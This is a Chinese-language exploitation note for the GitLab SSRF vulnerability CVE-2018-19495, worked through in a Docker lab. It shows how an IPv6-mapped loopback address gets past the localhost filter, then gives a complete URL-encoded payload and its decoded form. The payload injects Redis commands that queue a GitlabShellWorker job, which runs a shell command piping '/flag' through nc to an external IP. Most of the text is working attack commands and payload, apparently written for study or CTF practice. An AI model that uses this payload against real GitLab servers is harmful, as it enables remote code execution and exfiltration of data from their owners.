GitLab SSRF（CVE-2018-19495）利用笔记

GitLab 新建仓库时支持导入远程的代码仓库，但在处理仓库地址时，虽然禁止了 127.0.0.1，却没有对 IPv6 地址做判断，因此可以将 127.0.0.1 转成 IPv6 地址，对 GitLab 服务器做 SSRF 攻击。

我们可以尝试一下，先在容器里安装 nc：

sudo docker exec -it gitlab apt install netcat

然后监听 1234 端口：

sudo docker exec -it gitlab nc -lp 1234

接着去 GitLab 系统上，选择“New project” > “Import project” > “Repo by URL”，并在“Git repository URL”填入：

http://[0:0:0:0:0:ffff:127.0.0.1]:1234/test.git

回到监听的 nc 窗口，可以看到收到了数据：

GET /test.git/info/refs?service=git-upload-pack HTTP/1.1
Host: [0:0:0:0:0:ffff:127.0.0.1]:1234
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache

如果向 Redis 监听的端口直接发送的数据会被当作 Redis 命令执行，我们可以测试下：

$ sudo docker exec -it gitlab nc localhost 6379
set a 1        <- SET 命令设置键`a`的值
+OK
get a          <- GET 命令尝试获得键`a`的值
$1
1              <- 返回结果

所以可以利用这个 SSRF 漏洞向 Redis 发送命令，公开的 Payload 如下：

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20192%2E168%2E178%2E21%201234%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git

解码后如下：

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

我们再次在 GitLab 容器里用 nc 监听个端口（此处为 1234），然后把上面的 Payload 里端口改成 nc 监听的，看看 nc 收到的数据长什么样：

$ sudo docker exec -it gitlab nc -lp 1234
01c0git-upload-pack /
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/test.githost=[0:0:0:0:0:ffff:127.0.0.1]:1234

所以，如果 Redis 服务收到这段数据，就会当作多条 Redis 命令执行。

Payload 向 system_hook_push 队列中插入了 GitlabShellWorker 命令，GitlabShellWorker 实现位于 app/workers/gitlab_shell_worker.rb：

class GitlabShellWorker
  include ApplicationWorker
  include Gitlab::ShellAdapter

  def perform(action, *arg)
    gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
  end
end

传递对应的参数，等待 GitLab 取到这个任务并执行 shell：

[\"class_eval\",\"open(\'|cat /flag | nc 192.168.178.21 1234\').read\"]